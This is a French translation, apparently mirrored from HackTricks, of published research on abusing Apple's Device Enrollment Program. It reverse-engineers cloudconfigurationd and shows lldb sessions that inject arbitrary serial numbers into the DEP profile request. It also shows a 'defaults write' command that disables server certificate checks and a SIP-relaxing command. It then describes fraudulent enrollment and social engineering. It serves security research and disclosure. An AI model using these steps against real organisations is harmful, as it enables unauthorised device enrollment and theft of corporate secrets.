Mirrors/hacktricks

Fork 0

mirror of https://github.com/carlospolop/hacktricks synced 2024-11-30 08:30:57 +00:00

Translator 90d8c4c811 Translated ['backdoors/salseo.md', 'macos-hardening/macos-red-teaming/ma

2023-06-13 09:01:50 +00:00

30 KiB

Raw Blame History

Inscription des appareils dans d'autres organisations

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT!
Découvrez The PEASS Family, notre collection exclusive de NFTs
Obtenez le swag officiel PEASS & HackTricks
Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦@carlospolopm.
Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.

Introduction

Comme mentionné précédemment, pour essayer d'inscrire un appareil dans une organisation, seul un numéro de série appartenant à cette organisation est nécessaire. Une fois l'appareil inscrit, plusieurs organisations installeront des données sensibles sur le nouvel appareil : des certificats, des applications, des mots de passe WiFi, des configurations VPN et ainsi de suite.
Par conséquent, cela pourrait être un point d'entrée dangereux pour les attaquants si le processus d'inscription n'est pas correctement protégé.

La recherche suivante est tirée de https://duo.com/labs/research/mdm-me-maybe

Inverser le processus

Binaires impliqués dans DEP et MDM

Au cours de notre recherche, nous avons exploré les éléments suivants :

mdmclient : Utilisé par le système d'exploitation pour communiquer avec un serveur MDM. Sur macOS 10.13.3 et antérieurs, il peut également être utilisé pour déclencher une vérification DEP.
profiles : Un utilitaire qui peut être utilisé pour installer, supprimer et afficher des profils de configuration sur macOS. Il peut également être utilisé pour déclencher une vérification DEP sur macOS 10.13.4 et plus récent.
cloudconfigurationd : Le démon client d'inscription de l'appareil, qui est responsable de la communication avec l'API DEP et de la récupération des profils d'inscription de l'appareil.

Lorsque mdmclient ou profiles est utilisé pour initier une vérification DEP, les fonctions CPFetchActivationRecord et CPGetActivationRecord sont utilisées pour récupérer l'Activation Record. CPFetchActivationRecord délègue le contrôle à cloudconfigurationd via XPC, qui récupère ensuite l'Activation Record depuis l'API DEP.

CPGetActivationRecord récupère l'Activation Record depuis le cache, si disponible. Ces fonctions sont définies dans le framework de profils de configuration privé, situé à /System/Library/PrivateFrameworks/Configuration Profiles.framework.

Ingénierie inverse du protocole Tesla et du schéma Absinthe

Pendant le processus de vérification DEP, cloudconfigurationd demande un Activation Record à iprofiles.apple.com/macProfile. La charge utile de la requête est un dictionnaire JSON contenant deux paires clé-valeur :

{
"sn": "",
action": "RequestProfileConfiguration
}

Le payload est signé et chiffré à l'aide d'un schéma appelé "Absinthe" en interne. Le payload chiffré est ensuite encodé en Base 64 et utilisé comme corps de requête dans une requête HTTP POST vers iprofiles.apple.com/macProfile.

Dans cloudconfigurationd, la récupération de l'Activation Record est gérée par la classe MCTeslaConfigurationFetcher. Le flux général de [MCTeslaConfigurationFetcher enterState:] est le suivant:

rsi = @selector(verifyConfigBag);
rsi = @selector(startCertificateFetch);
rsi = @selector(initializeAbsinthe);
rsi = @selector(startSessionKeyFetch);
rsi = @selector(establishAbsintheSession);
rsi = @selector(startConfigurationFetch);
rsi = @selector(sendConfigurationInfoToRemote);
rsi = @selector(sendFailureNoticeToRemote);

Puisque le schéma Absinthe semble être utilisé pour authentifier les demandes de service DEP, le reverse engineering de ce schéma nous permettrait de faire nos propres demandes authentifiées à l'API DEP. Cependant, cela s'est avéré être chronophage, principalement en raison du nombre d'étapes impliquées dans l'authentification des demandes. Au lieu de renverser complètement le fonctionnement de ce schéma, nous avons opté pour explorer d'autres méthodes d'insertion de numéros de série arbitraires dans la demande de Activation Record.

MITMing DEP Requests

Nous avons exploré la faisabilité de la mise en proxy des demandes réseau vers iprofiles.apple.com avec Charles Proxy. Notre objectif était d'inspecter la charge utile envoyée à iprofiles.apple.com/macProfile, puis d'insérer un numéro de série arbitraire et de rejouer la demande. Comme mentionné précédemment, la charge utile soumise à ce point d'extrémité par cloudconfigurationd est au format JSON et contient deux paires clé-valeur.

{
"action": "RequestProfileConfiguration",
sn": "
}

Étant donné que l'API sur iprofiles.apple.com utilise Transport Layer Security (TLS), nous avons dû activer la mise en proxy SSL dans Charles pour ce domaine afin de voir le contenu en texte clair des requêtes SSL.

Cependant, la méthode -[MCTeslaConfigurationFetcher connection:willSendRequestForAuthenticationChallenge:] vérifie la validité du certificat du serveur et interrompt la connexion si la confiance du serveur ne peut pas être vérifiée.

[ERROR] Unable to get activation record: Error Domain=MCCloudConfigurationErrorDomain Code=34011
"The Device Enrollment server trust could not be verified. Please contact your system
administrator." UserInfo={USEnglishDescription=The Device Enrollment server trust could not be
verified. Please contact your system administrator., NSLocalizedDescription=The Device Enrollment
server trust could not be verified. Please contact your system administrator.,
MCErrorType=MCFatalError}

L'erreur affichée ci-dessus se trouve dans un fichier binaire Errors.strings avec la clé CLOUD_CONFIG_SERVER_TRUST_ERROR, qui se trouve à /System/Library/CoreServices/ManagedClient.app/Contents/Resources/English.lproj/Errors.strings, ainsi que d'autres messages d'erreur connexes.

$ cd /System/Library/CoreServices
$ rg "The Device Enrollment server trust could not be verified"
ManagedClient.app/Contents/Resources/English.lproj/Errors.strings
<snip>

Le fichier Errors.strings peut être affiché dans un format lisible par l'homme avec la commande plutil intégrée. Voir ici.

$ plutil -p /System/Library/CoreServices/ManagedClient.app/Contents/Resources/English.lproj/Errors.strings

Après avoir examiné plus en détail la classe MCTeslaConfigurationFetcher, il est devenu clair que ce comportement de confiance du serveur peut être contourné en activant l'option de configuration MCCloudConfigAcceptAnyHTTPSCertificate sur le domaine de préférence com.apple.ManagedClient.cloudconfigurationd.

loc_100006406:
rax = [NSUserDefaults standardUserDefaults];
rax = [rax retain];
r14 = [rax boolForKey:@"MCCloudConfigAcceptAnyHTTPSCertificate"];
r15 = r15;
[rax release];
if (r14 != 0x1) goto loc_10000646f;

La option de configuration MCCloudConfigAcceptAnyHTTPSCertificate peut être définie avec la commande defaults.

sudo defaults write com.apple.ManagedClient.cloudconfigurationd MCCloudConfigAcceptAnyHTTPSCertificate -bool yes

Avec SSL Proxying activé pour iprofiles.apple.com et cloudconfigurationd configuré pour accepter n'importe quel certificat HTTPS, nous avons tenté de faire une attaque de type man-in-the-middle et de rejouer les requêtes dans Charles Proxy.

Cependant, étant donné que la charge utile incluse dans le corps de la requête HTTP POST à iprofiles.apple.com/macProfile est signée et chiffrée avec Absinthe, (NACSign), il n'est pas possible de modifier la charge utile JSON en clair pour inclure un numéro de série arbitraire sans avoir également la clé pour la décrypter. Bien qu'il soit possible d'obtenir la clé car elle reste en mémoire, nous avons plutôt continué à explorer cloudconfigurationd avec le débogueur LLDB.

Instrumentation des binaires système qui interagissent avec DEP

La dernière méthode que nous avons explorée pour automatiser le processus de soumission de numéros de série arbitraires à iprofiles.apple.com/macProfile était d'instrumenter les binaires natifs qui interagissent directement ou indirectement avec l'API DEP. Cela a impliqué une exploration initiale de mdmclient, profiles et cloudconfigurationd dans Hopper v4 et Ida Pro, ainsi que de longues sessions de débogage avec lldb.

L'un des avantages de cette méthode par rapport à la modification des binaires et à leur resignature avec notre propre clé est qu'elle contourne certaines des restrictions d'attribution intégrées à macOS qui pourraient autrement nous dissuader.

Protection de l'intégrité du système

Pour instrumenter les binaires système, (comme cloudconfigurationd) sur macOS, Protection de l'intégrité du système (SIP) doit être désactivée. SIP est une technologie de sécurité qui protège les fichiers, dossiers et processus de niveau système contre les manipulations, et est activée par défaut sur OS X 10.11 "El Capitan" et ultérieur. SIP peut être désactivé en démarrant en mode de récupération et en exécutant la commande suivante dans l'application Terminal, puis en redémarrant :

csrutil enable --without debug

Il convient de noter, cependant, que SIP est une fonctionnalité de sécurité utile et ne doit pas être désactivée, sauf à des fins de recherche et de test sur des machines non productives. Il est également possible (et recommandé) de le faire sur des machines virtuelles non critiques plutôt que sur le système d'exploitation hôte.

Instrumentation binaire avec LLDB

Avec SIP désactivé, nous avons pu avancer dans l'instrumentation des binaires système qui interagissent avec l'API DEP, à savoir le binaire cloudconfigurationd. Comme cloudconfigurationd nécessite des privilèges élevés pour s'exécuter, nous devons démarrer lldb avec sudo.

$ sudo lldb
(lldb) process attach --waitfor --name cloudconfigurationd

Pendant que lldb attend, nous pouvons ensuite nous connecter à cloudconfigurationd en exécutant sudo /usr/libexec/mdmclient dep nag dans une fenêtre de terminal séparée. Une fois connecté, une sortie similaire à celle-ci-dessous sera affichée et les commandes LLDB peuvent être saisies à l'invite.

Process 861 stopped
* thread #1, stop reason = signal SIGSTOP
<snip>
Target 0: (cloudconfigurationd) stopped.

Executable module set to "/usr/libexec/cloudconfigurationd".
Architecture set to: x86_64h-apple-macosx.
(lldb)

Définition du numéro de série de l'appareil

L'un des premiers éléments que nous avons recherchés lors de la rétro-ingénierie de mdmclient et cloudconfigurationd était le code responsable de la récupération du numéro de série du système, car nous savions que le numéro de série était finalement responsable de l'authentification de l'appareil. Notre objectif était de modifier le numéro de série en mémoire après sa récupération à partir de IORegistry, et de l'utiliser lorsque cloudconfigurationd construit la charge utile macProfile.

Bien que cloudconfigurationd soit finalement responsable de la communication avec l'API DEP, nous avons également examiné si le numéro de série du système est récupéré ou utilisé directement dans mdmclient. Le numéro de série récupéré comme indiqué ci-dessous n'est pas ce qui est envoyé à l'API DEP, mais il a révélé un numéro de série codé en dur qui est utilisé si une option de configuration spécifique est activée.

int sub_10002000f() {
if (sub_100042b6f() != 0x0) {
r14 = @"2222XXJREUF";
}
else {
rax = IOServiceMatching("IOPlatformExpertDevice");
rax = IOServiceGetMatchingServices(*(int32_t *)*_kIOMasterPortDefault, rax, &var_2C);
<snip>
}
rax = r14;
return rax;
}

Le numéro de série du système est récupéré à partir de IORegistry, sauf si la valeur de retour de sub_10002000f est différente de zéro, auquel cas il est défini sur la chaîne statique "2222XXJREUF". En examinant cette fonction, il semble vérifier si le "mode de test de stress du serveur" est activé.

void sub_1000321ca(void * _block) {
if (sub_10002406f() != 0x0) {
*(int8_t *)0x100097b68 = 0x1;
sub_10000b3de(@"Server stress test mode enabled", rsi, rdx, rcx, r8, r9, stack[0]);
}
return;
}

Nous avons documenté l'existence du "mode de test de stress du serveur", mais nous ne l'avons pas exploré plus loin, car notre objectif était de modifier le numéro de série présenté à l'API DEP. Au lieu de cela, nous avons testé si la modification du numéro de série pointé par le registre r14 suffirait à récupérer un Activation Record qui n'était pas destiné à la machine sur laquelle nous testions.

Ensuite, nous avons examiné comment le numéro de série du système est récupéré dans cloudconfigurationd.

int sub_10000c100(int arg0, int arg1, int arg2, int arg3) {
var_50 = arg3;
r12 = arg2;
r13 = arg1;
r15 = arg0;
rbx = IOServiceGetMatchingService(*(int32_t *)*_kIOMasterPortDefault, IOServiceMatching("IOPlatformExpertDevice"));
r14 = 0xffffffffffff541a;
if (rbx != 0x0) {
rax = sub_10000c210(rbx, @"IOPlatformSerialNumber", 0x0, &var_30, &var_34);
r14 = rax;
<snip>
}
rax = r14;
return rax;
}

Comme on peut le voir ci-dessus, le numéro de série est récupéré à partir de IORegistry dans cloudconfigurationd.

En utilisant lldb, nous avons pu modifier le numéro de série récupéré à partir de IORegistry en définissant un point d'arrêt pour IOServiceGetMatchingService et en créant une nouvelle variable de chaîne contenant un numéro de série arbitraire et en réécrivant le registre r14 pour pointer vers l'adresse mémoire de la variable que nous avons créée.

(lldb) breakpoint set -n IOServiceGetMatchingService
# Run `sudo /usr/libexec/mdmclient dep nag` in a separate Terminal window.
(lldb) process attach --waitfor --name cloudconfigurationd
Process 2208 stopped
* thread #2, queue = 'com.apple.NSXPCListener.service.com.apple.ManagedClient.cloudconfigurationd',
stop reason = instruction step over frame #0: 0x000000010fd824d8
cloudconfigurationd`___lldb_unnamed_symbol2$$cloudconfigurationd + 73
cloudconfigurationd`___lldb_unnamed_symbol2$$cloudconfigurationd:
->  0x10fd824d8 <+73>: movl   %ebx, %edi
0x10fd824da <+75>: callq  0x10ffac91e               ; symbol stub for: IOObjectRelease
0x10fd824df <+80>: testq  %r14, %r14
0x10fd824e2 <+83>: jne    0x10fd824e7               ; <+88>
Target 0: (cloudconfigurationd) stopped.
(lldb) continue  # Will hit breakpoint at `IOServiceGetMatchingService`
# Step through the program execution by pressing 'n' a bunch of times and
# then 'po $r14' until we see the serial number.
(lldb) n
(lldb) po $r14
C02JJPPPQQQRR  # The system serial number retrieved from the `IORegistry`
# Create a new variable containing an arbitrary serial number and print the memory address.
(lldb) p/x @"C02XXYYZZNNMM"
(__NSCFString *) $79 = 0x00007fb6d7d05850 @"C02XXYYZZNNMM"
# Rewrite the `r14` register to point to our new variable.
(lldb) register write $r14 0x00007fb6d7d05850
(lldb) po $r14
# Confirm that `r14` contains the new serial number.
C02XXYYZZNNMM

Bien que nous ayons réussi à modifier le numéro de série récupéré à partir de IORegistry, la charge utile macProfile contenait toujours le numéro de série du système, et non celui que nous avons écrit dans le registre r14.

Exploitation : Modification du dictionnaire de demande de profil avant la sérialisation JSON

Ensuite, nous avons essayé de définir le numéro de série qui est envoyé dans la charge utile macProfile d'une manière différente. Cette fois, plutôt que de modifier le numéro de série du système récupéré via IORegistry, nous avons essayé de trouver le point le plus proche dans le code où le numéro de série est encore en texte clair avant d'être signé avec Absinthe (NACSign). Le meilleur point à examiner semblait être -[MCTeslaConfigurationFetcher startConfigurationFetch], qui effectue approximativement les étapes suivantes :

Crée un nouvel objet NSMutableData
Appelle [MCTeslaConfigurationFetcher setConfigurationData:], en passant le nouvel objet NSMutableData
Appelle [MCTeslaConfigurationFetcher profileRequestDictionary], qui renvoie un objet NSDictionary contenant deux paires clé-valeur :
sn : Le numéro de série du système
action : L'action à distance à effectuer (avec sn comme argument)
Appelle [NSJSONSerialization dataWithJSONObject:], en passant le NSDictionary de profileRequestDictionary
Signe la charge utile JSON à l'aide d'Absinthe (NACSign)
Encode en base64 la charge utile JSON signée
Définit la méthode HTTP sur POST
Définit le corps HTTP sur la charge utile JSON signée en base64
Définit l'en-tête HTTP X-Profile-Protocol-Version sur 1
Définit l'en-tête HTTP User-Agent sur ConfigClient-1.0
Utilise la méthode [NSURLConnection alloc] initWithRequest:delegate:startImmediately:] pour effectuer la requête HTTP

Nous avons ensuite modifié l'objet NSDictionary renvoyé par profileRequestDictionary avant d'être converti en JSON. Pour ce faire, un point d'arrêt a été défini sur dataWithJSONObject afin de nous rapprocher autant que possible des données non encore converties. Le point d'arrêt a réussi, et lorsque nous avons imprimé le contenu du registre que nous connaissions grâce à la désassemblage (rdx), nous avons obtenu les résultats que nous attendions de voir.

po $rdx
{
action = RequestProfileConfiguration;
sn = C02XXYYZZNNMM;
}

Le ci-dessus est une représentation joliment formatée de l'objet NSDictionary renvoyé par [MCTeslaConfigurationFetcher profileRequestDictionary]. Notre prochain défi était de modifier le NSDictionary en mémoire contenant le numéro de série.

(lldb) breakpoint set -r "dataWithJSONObject"
# Run `sudo /usr/libexec/mdmclient dep nag` in a separate Terminal window.
(lldb) process attach --name "cloudconfigurationd" --waitfor
Process 3291 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x00007fff2e8bfd8f Foundation`+[NSJSONSerialization dataWithJSONObject:options:error:]
Target 0: (cloudconfigurationd) stopped.
# Hit next breakpoint at `dataWithJSONObject`, since the first one isn't where we need to change the serial number.
(lldb) continue
# Create a new variable containing an arbitrary `NSDictionary` and print the memory address.
(lldb) p/x (NSDictionary *)[[NSDictionary alloc] initWithObjectsAndKeys:@"C02XXYYZZNNMM", @"sn",
@"RequestProfileConfiguration", @"action", nil]
(__NSDictionaryI *) $3 = 0x00007ff068c2e5a0 2 key/value pairs
# Confirm that `rdx` contains the new `NSDictionary`.
po $rdx
{
action = RequestProfileConfiguration;
sn = <new_serial_number>
}

La liste ci-dessus effectue les actions suivantes :

Crée un point d'arrêt d'expression régulière pour le sélecteur dataWithJSONObject
Attend que le processus cloudconfigurationd démarre, puis s'y attache
Poursuit l'exécution du programme (car le premier point d'arrêt que nous avons atteint pour dataWithJSONObject n'est pas celui appelé sur le profileRequestDictionary)
Crée et affiche (en format hexadécimal en raison de /x) le résultat de la création de notre NSDictionary arbitraire
Puisque nous connaissons déjà les noms des clés requises, nous pouvons simplement définir le numéro de série sur l'un de notre choix pour sn et laisser action inchangé
L'impression du résultat de la création de ce nouveau NSDictionary nous indique que nous avons deux paires clé-valeur à un emplacement mémoire spécifique

Notre dernière étape consistait maintenant à répéter la même étape d'écriture dans rdx l'emplacement mémoire de notre objet NSDictionary personnalisé qui contient notre numéro de série choisi :

(lldb) register write $rdx 0x00007ff068c2e5a0  # Rewrite the `rdx` register to point to our new variable
(lldb) continue

Ceci pointe le registre rdx vers notre nouveau NSDictionary juste avant qu'il ne soit sérialisé en JSON et envoyé en POST à iprofiles.apple.com/macProfile, puis le flux du programme continue.

Cette méthode de modification du numéro de série dans le dictionnaire de demande de profil avant d'être sérialisée en JSON a fonctionné. Lorsque l'on utilise un numéro de série Apple connu et enregistré dans DEP à la place de (null), le journal de débogage de ManagedClient a montré le profil DEP complet pour le dispositif :

Apr  4 16:21:35[660:1]:+CPFetchActivationRecord fetched configuration:
{
AllowPairing = 1;
AnchorCertificates =     (
);
AwaitDeviceConfigured = 0;
ConfigurationURL = "https://some.url/cloudenroll";
IsMDMUnremovable = 1;
IsMandatory = 1;
IsSupervised = 1;
OrganizationAddress = "Org address";
OrganizationAddressLine1 = "More address";
OrganizationAddressLine2 = NULL;
OrganizationCity = A City;
OrganizationCountry = US;
OrganizationDepartment = "Org Dept";
OrganizationEmail = "dep.management@org.url";
OrganizationMagic = <unique string>;
OrganizationName = "ORG NAME";
OrganizationPhone = "+1551234567";
OrganizationSupportPhone = "+15551235678";
OrganizationZipCode = "ZIPPY";
SkipSetup =     (
AppleID,
Passcode,
Zoom,
Biometric,
Payment,
TOS,
TapToSetup,
Diagnostics,
HomeButtonSensitivity,
Android,
Siri,
DisplayTone,
ScreenSaver
);
SupervisorHostCertificates =     (
);
}

Avec seulement quelques commandes lldb, nous pouvons insérer avec succès un numéro de série arbitraire et obtenir un profil DEP qui inclut diverses données spécifiques à l'organisation, y compris l'URL d'inscription MDM de l'organisation. Comme discuté, cette URL d'inscription pourrait être utilisée pour inscrire un appareil malveillant maintenant que nous connaissons son numéro de série. Les autres données pourraient être utilisées pour l'ingénierie sociale d'une inscription malveillante. Une fois inscrit, l'appareil pourrait recevoir un certain nombre de certificats, de profils, d'applications, de configurations VPN, etc.

Automatisation de l'instrumentation `cloudconfigurationd` avec Python

Une fois que nous avons eu la preuve de concept initiale démontrant comment récupérer un profil DEP valide en utilisant simplement un numéro de série, nous avons cherché à automatiser ce processus pour montrer comment un attaquant pourrait exploiter cette faiblesse de l'authentification.

Heureusement, l'API LLDB est disponible en Python via une interface de script. Sur les systèmes macOS avec les outils de ligne de commande Xcode installés, le module Python lldb peut être importé comme suit:

import lldb

Cela a rendu relativement facile la création d'un script de notre preuve de concept démontrant comment insérer un numéro de série enregistré dans DEP et recevoir en retour un profil DEP valide. Le PoC que nous avons développé prend une liste de numéros de série séparés par des sauts de ligne et les injecte dans le processus cloudconfigurationd pour vérifier les profils DEP.

Impact

Il existe plusieurs scénarios dans lesquels le programme d'enregistrement des appareils d'Apple pourrait être utilisé de manière abusive, ce qui pourrait conduire à la divulgation d'informations sensibles sur une organisation. Les deux scénarios les plus évidents impliquent l'obtention d'informations sur l'organisation à laquelle un appareil appartient, qui peuvent être récupérées à partir du profil DEP. Le deuxième consiste à utiliser ces informations pour effectuer un enregistrement DEP et MDM frauduleux. Chacun de ces scénarios est discuté plus en détail ci-dessous.

Divulgation d'informations

Comme mentionné précédemment, une partie du processus d'enregistrement DEP consiste à demander et recevoir un Activation Record (ou profil DEP) à partir de l'API DEP. En fournissant un numéro de série système enregistré dans DEP valide, nous sommes en mesure de récupérer les informations suivantes (soit imprimées sur stdout ou écrites dans le journal ManagedClient, selon la version de macOS).

Activation record: {
AllowPairing = 1;
AnchorCertificates =     (
<array_of_der_encoded_certificates>
);
AwaitDeviceConfigured = 0;
ConfigurationURL = "https://example.com/enroll";
IsMDMUnremovable = 1;
IsMandatory = 1;
IsSupervised = 1;
OrganizationAddress = "123 Main Street, Anywhere, , 12345 (USA)";
OrganizationAddressLine1 = "123 Main Street";
OrganizationAddressLine2 = NULL;
OrganizationCity = Anywhere;
OrganizationCountry = USA;
OrganizationDepartment = "IT";
OrganizationEmail = "dep@example.com";
OrganizationMagic = 105CD5B18CE24784A3A0344D6V63CD91;
OrganizationName = "Example, Inc.";
OrganizationPhone = "+15555555555";
OrganizationSupportPhone = "+15555555555";
OrganizationZipCode = "12345";
SkipSetup =     (
<array_of_setup_screens_to_skip>
);
SupervisorHostCertificates =     (
);
}

Bien que certaines de ces informations puissent être disponibles publiquement pour certaines organisations, avoir un numéro de série d'un appareil appartenant à l'organisation ainsi que les informations obtenues à partir du profil DEP pourraient être utilisés contre le service d'assistance ou l'équipe informatique de l'organisation pour effectuer un certain nombre d'attaques d'ingénierie sociale, telles que la demande de réinitialisation de mot de passe ou d'aide à l'inscription d'un appareil dans le serveur MDM de l'entreprise.

Inscription DEP frauduleuse

Le protocole MDM d'Apple prend en charge - mais n'exige pas - l'authentification de l'utilisateur avant l'inscription MDM via l'authentification de base HTTP. Sans authentification, tout ce qui est nécessaire pour inscrire un appareil dans un serveur MDM via DEP est un numéro de série DEP valide. Ainsi, un attaquant qui obtient un tel numéro de série (soit par OSINT, ingénierie sociale ou par force brute) pourra inscrire un appareil qui lui appartient comme s'il appartenait à l'organisation, tant qu'il n'est pas actuellement inscrit dans le serveur MDM. Essentiellement, si un attaquant est capable de remporter la course en initiant l'inscription DEP avant le vrai appareil, il est capable d'assumer l'identité de cet appareil.

Les organisations peuvent - et le font - utiliser MDM pour déployer des informations sensibles telles que des certificats d'appareil et d'utilisateur, des données de configuration VPN, des agents d'inscription, des profils de configuration et diverses autres données internes et secrets organisationnels. De plus, certaines organisations choisissent de ne pas exiger l'authentification de l'utilisateur dans le cadre de l'inscription MDM. Cela présente divers avantages, tels qu'une meilleure expérience utilisateur et le fait de ne pas avoir à exposer le serveur d'authentification interne au serveur MDM pour gérer les inscriptions MDM qui ont lieu en dehors du réseau d'entreprise.

Cela pose un problème lors de l'utilisation de DEP pour amorcer l'inscription MDM, car un attaquant serait en mesure d'inscrire n'importe quel point final de son choix dans le serveur MDM de l'organisation. De plus, une fois qu'un attaquant a réussi à inscrire un point final de son choix dans MDM, il peut obtenir un accès privilégié qui pourrait être utilisé pour pivoter davantage dans le réseau.

30 KiB Raw Blame History